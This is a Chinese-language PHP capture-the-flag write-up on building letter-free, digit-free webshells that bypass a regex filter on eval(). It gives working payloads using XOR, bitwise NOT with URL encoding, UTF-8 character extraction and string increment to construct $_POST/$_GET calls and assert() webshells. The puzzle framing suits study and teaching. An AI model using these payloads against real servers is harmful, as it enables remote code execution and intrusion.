1. 程式人生 > >【PHP-CTF】無字母無數字webshell

【PHP-CTF】無字母無數字webshell

PHP無字母數字構造Webshell

題目

index.php:

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){ //檢測字元長度
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和數字
        die("NO.");
    }
    @eval($code); //$code的值要為非字母和數字
}
else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>

flag.php:

<?php
	function getFlag(){
		$flag = "111111111111111111";
		echo $flag;
};
?>

解題過程

方法一

在PHP中,兩個字串執行異或操作以後,得到的還是一個字串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數字的字元,他們的異或結果是這個字母即可。

<?php
var_dump('#'^'|'); //得到字元 _ var_dump('.'^'~'); //得到字元 P var_dump('/'^'`'); //得到字元 0 var_dump('|'^'/'); //得到字元 S var_dump('{'^'/'); //得到字元 T $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //變數$__值為字串'_POST' ?>

websell:

<?php
@$_++; //$_=NULL=0  $_++=1
$__=("#"^"|").("."^"~").("/"^"`").("|"^
"/").("{"^"/"); //_POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>

在這裡插入圖片描述

為了節省字元長度,這裡字元可以一起異或使用

<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
?>

webshell:

<?php
@$_++;
$__='#./|{'^'|~`//';
${$__}[!$_](${$__}[$_]);
?>

在這裡插入圖片描述

答案

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
    
$_="`{{{"^"?<>/"; //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=getFlag //執行函式 eval("getFlag(null)")

在這裡插入圖片描述

webshell:
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=phpinfo()

在這裡插入圖片描述

其他型別答案

如果在加上不能有&_字元呢?

只要eval函式執行了“getFlag()”字串即可,那麼繞過正則匹配即可:

把getFlag取反然後URL編碼:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

這裡為什麼正則沒有檢測到,因為後端自動進行了解碼,解碼為非字母和數字字元,而eval執行了取反還原為getFlag字元。

在這裡插入圖片描述

既然可以利用取反~進行編碼繞過正則檢測,那麼也可以取反編碼 G E T _GET、 _POST。

方法二

使用的是位運算裡的“取反”,利用UTF-8編碼的某個漢字,並將其中某個字元取出來。

在這裡插入圖片描述

<?php
$__=('>'>'<')+('>'>'<'); //True+True=2;$__=2
$_=$__/$__; //$_=2/2=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
?>

在這裡插入圖片描述

方法三

參考:

http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/

原理:

利用php特性,在處理字串變數的算術運算時,PHP沿襲了Perl的習慣,而非C的。如: a = Z ; a=&#x27;Z&#x27;; a++;結果$a的值為’‘AA’,而在C中,變為’’{’,(‘Z’的ASCII值是90,而’{'的ASCII值為91)。注意字元變數只能遞增,不能遞減,並且只支援純字母(a-z A-Z)。

在這裡插入圖片描述

那麼如何拿到字串’a’的變數呢?

陣列(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等於我們就可以拿到a-z和A-Z的所有字母。

在PHP中,如果強制連線陣列和字串的話,陣列將被轉換成字串,其值為Array:再取這個字串的第一個字母,就可以獲得’A’了。

在這裡插入圖片描述

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

在這裡插入圖片描述